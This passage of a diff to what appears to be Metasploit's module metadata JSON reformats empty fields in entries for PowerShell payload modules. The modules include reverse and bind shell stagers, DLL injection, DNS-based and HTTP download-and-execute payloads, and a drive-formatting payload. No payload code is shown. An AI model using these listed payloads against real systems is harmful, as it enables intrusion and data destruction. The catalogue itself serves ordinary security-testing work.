PowerShell.\n\nCustom shellcode stage.\n\nListen for a pipe connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -222763,8 +226078,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222777,9 +226091,7 @@ "payload_cmd/windows/powershell/custom/bind_nonx_tcp": { "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/custom/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222789,9 +226101,7 @@ "vlad902 " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -222805,8 +226115,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222819,9 +226128,7 @@ "payload_cmd/windows/powershell/custom/bind_tcp": { "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/custom/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222833,9 +226140,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -222849,8 +226154,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222863,9 +226167,7 @@ "payload_cmd/windows/powershell/custom/bind_tcp_rc4": { "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/custom/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222879,9 +226181,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -222895,8 +226195,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222909,9 +226208,7 @@ "payload_cmd/windows/powershell/custom/bind_tcp_uuid": { "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/custom/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222922,9 +226219,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -222938,8 +226233,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222952,9 +226246,7 @@ "payload_cmd/windows/powershell/custom/find_tag": { "name": "Powershell Exec, Windows shellcode stage, Find Tag Ordinal Stager", "fullname": "payload/cmd/windows/powershell/custom/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -222964,9 +226256,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -222980,8 +226270,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -222994,9 +226283,7 @@ "payload_cmd/windows/powershell/custom/reverse_http": { "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/powershell/custom/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223006,9 +226293,7 @@ "hdm " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223022,8 +226307,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223036,9 +226320,7 @@ "payload_cmd/windows/powershell/custom/reverse_http_proxy_pstore": { "name": "Powershell Exec, Windows shellcode stage, Reverse HTTP Stager Proxy", "fullname": "payload/cmd/windows/powershell/custom/reverse_http_proxy_pstore", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223048,9 +226330,7 @@ "hdm " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223064,8 +226344,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223078,9 +226357,7 @@ "payload_cmd/windows/powershell/custom/reverse_https": { "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTPS Stager (wininet)", "fullname": "payload/cmd/windows/powershell/custom/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223090,9 +226367,7 @@ "hdm " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223106,8 +226381,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223120,9 +226394,7 @@ "payload_cmd/windows/powershell/custom/reverse_ipv6_tcp": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/windows/powershell/custom/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223134,9 +226406,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223150,8 +226420,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223164,9 +226433,7 @@ "payload_cmd/windows/powershell/custom/reverse_named_pipe": { "name": "Powershell Exec, Windows shellcode stage, Windows x86 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/powershell/custom/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223176,9 +226443,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223192,8 +226457,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223206,9 +226470,7 @@ "payload_cmd/windows/powershell/custom/reverse_nonx_tcp": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/custom/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223218,9 +226480,7 @@ "vlad902 " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223234,8 +226494,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223248,9 +226507,7 @@ "payload_cmd/windows/powershell/custom/reverse_ord_tcp": { "name": "Powershell Exec, Windows shellcode stage, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/custom/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223260,9 +226517,7 @@ "spoonm " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223276,8 +226531,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223290,9 +226544,7 @@ "payload_cmd/windows/powershell/custom/reverse_tcp": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223304,9 +226556,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223320,8 +226570,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223334,9 +226583,7 @@ "payload_cmd/windows/powershell/custom/reverse_tcp_allports": { "name": "Powershell Exec, Windows shellcode stage, Reverse All-Port TCP Stager", "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223348,9 +226595,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223364,8 +226609,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223378,9 +226622,7 @@ "payload_cmd/windows/powershell/custom/reverse_tcp_dns": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (DNS)", "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223393,9 +226635,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223409,8 +226649,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223423,9 +226662,7 @@ "payload_cmd/windows/powershell/custom/reverse_tcp_rc4": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223439,9 +226676,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223455,8 +226690,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223469,9 +226703,7 @@ "payload_cmd/windows/powershell/custom/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223485,9 +226717,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223501,8 +226731,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223515,9 +226744,7 @@ "payload_cmd/windows/powershell/custom/reverse_tcp_uuid": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/custom/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223528,9 +226755,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223544,8 +226769,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223558,9 +226782,7 @@ "payload_cmd/windows/powershell/custom/reverse_udp": { "name": "Powershell Exec, Windows shellcode stage, Reverse UDP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/custom/reverse_udp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223570,9 +226792,7 @@ "RageLtMan " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223586,8 +226806,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223600,9 +226819,7 @@ "payload_cmd/windows/powershell/custom/reverse_winhttp": { "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/powershell/custom/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223613,9 +226830,7 @@ "Borja Merino " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223629,8 +226844,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223643,9 +226857,7 @@ "payload_cmd/windows/powershell/custom/reverse_winhttps": { "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/powershell/custom/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223656,9 +226868,7 @@ "Borja Merino " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -223672,8 +226882,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223686,9 +226895,7 @@ "payload_cmd/windows/powershell/dllinject/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", "fullname": "payload/cmd/windows/powershell/dllinject/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223718,8 +226925,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223732,9 +226938,7 @@ "payload_cmd/windows/powershell/dllinject/bind_hidden_tcp": { "name": "Powershell Exec, Hidden Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/dllinject/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223764,8 +226968,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223778,9 +226981,7 @@ "payload_cmd/windows/powershell/dllinject/bind_ipv6_tcp": { "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/dllinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223808,8 +227009,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223822,9 +227022,7 @@ "payload_cmd/windows/powershell/dllinject/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/dllinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223853,8 +227051,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223867,9 +227064,7 @@ "payload_cmd/windows/powershell/dllinject/bind_named_pipe": { "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/powershell/dllinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223896,8 +227091,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223910,9 +227104,7 @@ "payload_cmd/windows/powershell/dllinject/bind_nonx_tcp": { "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/dllinject/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223939,8 +227131,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223953,9 +227144,7 @@ "payload_cmd/windows/powershell/dllinject/bind_tcp": { "name": "Powershell Exec, Bind TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/dllinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -223983,8 +227172,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -223997,9 +227185,7 @@ "payload_cmd/windows/powershell/dllinject/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/dllinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224029,8 +227215,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224043,9 +227228,7 @@ "payload_cmd/windows/powershell/dllinject/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/dllinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224073,8 +227256,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224087,9 +227269,7 @@ "payload_cmd/windows/powershell/dllinject/find_tag": { "name": "Powershell Exec, Find Tag Ordinal Stager", "fullname": "payload/cmd/windows/powershell/dllinject/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224116,8 +227296,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224130,9 +227309,7 @@ "payload_cmd/windows/powershell/dllinject/reverse_http": { "name": "Powershell Exec, Windows Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/powershell/dllinject/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224159,8 +227336,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224173,9 +227349,7 @@ "payload_cmd/windows/powershell/dllinject/reverse_http_proxy_pstore": { "name": "Powershell Exec, Reverse HTTP Stager Proxy", "fullname": "payload/cmd/windows/powershell/dllinject/reverse_http_proxy_pstore", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224202,8 +227376,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224216,9 +227389,7 @@ "payload_cmd/windows/powershell/dllinject/reverse_ipv6_tcp": { "name": "Powershell Exec, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/windows/powershell/dllinject/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224246,8 +227417,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224260,9 +227430,7 @@ "payload_cmd/windows/powershell/dllinject/reverse_nonx_tcp": { "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/dllinject/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224289,8 +227457,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224303,9 +227470,7 @@ "payload_cmd/windows/powershell/dllinject/reverse_ord_tcp": { "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/dllinject/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224332,8 +227497,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224346,9 +227510,7 @@ "payload_cmd/windows/powershell/dllinject/reverse_tcp": { "name": "Powershell Exec, Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224376,8 +227538,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224390,9 +227551,7 @@ "payload_cmd/windows/powershell/dllinject/reverse_tcp_allports": { "name": "Powershell Exec, Reverse All-Port TCP Stager", "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224420,8 +227579,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224434,9 +227592,7 @@ "payload_cmd/windows/powershell/dllinject/reverse_tcp_dns": { "name": "Powershell Exec, Reverse TCP Stager (DNS)", "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224465,8 +227621,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224479,9 +227634,7 @@ "payload_cmd/windows/powershell/dllinject/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224511,8 +227664,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224525,9 +227677,7 @@ "payload_cmd/windows/powershell/dllinject/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224557,8 +227707,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224571,9 +227720,7 @@ "payload_cmd/windows/powershell/dllinject/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224601,8 +227748,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224615,9 +227761,7 @@ "payload_cmd/windows/powershell/dllinject/reverse_winhttp": { "name": "Powershell Exec, Windows Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/powershell/dllinject/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224645,8 +227789,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224659,9 +227802,7 @@ "payload_cmd/windows/powershell/dns_txt_query_exec": { "name": "Powershell Exec, DNS TXT Record Payload Download and Execution", "fullname": "payload/cmd/windows/powershell/dns_txt_query_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224670,9 +227811,7 @@ "corelanc0d3r " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nPerforms a TXT query against a series of DNS record(s) and executes the returned x86 shellcode. The DNSZONE\noption is used as the base name to iterate over. The payload will first request the TXT contents of the a\nhostname, followed by b, then c, etc. until there are no more records. For each record that is returned, exactly\n255 bytes from it are copied into a buffer that is eventually executed. This buffer should be encoded using\nx86/alpha_mixed with the BufferRegister option set to EDI.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -224686,8 +227825,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224698,9 +227836,7 @@ "payload_cmd/windows/powershell/download_exec": { "name": "Powershell Exec, Windows Executable Download (http,https,ftp) and Execute", "fullname": "payload/cmd/windows/powershell/download_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224709,9 +227845,7 @@ "corelanc0d3r " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nDownload an EXE from an HTTP(S)/FTP URL and execute it", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -224725,8 +227859,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224737,9 +227870,7 @@ "payload_cmd/windows/powershell/exec": { "name": "Powershell Exec", "fullname": "payload/cmd/windows/powershell/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224749,9 +227880,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -224765,8 +227894,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224777,9 +227905,7 @@ "payload_cmd/windows/powershell/format_all_drives": { "name": "Powershell Exec", "fullname": "payload/cmd/windows/powershell/format_all_drives", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": null, "type": "payload", @@ -224821,9 +227947,7 @@ "payload_cmd/windows/powershell/generic/debug_trap": { "name": "Powershell Exec, Generic x86 Debug Trap", "fullname": "payload/cmd/windows/powershell/generic/debug_trap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224832,9 +227956,7 @@ "robert " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nGenerate a debug trap in the target process", - "references": [ - - ], + "references": [], "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "cmd", "rport": null, @@ -224848,8 +227970,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224860,9 +227981,7 @@ 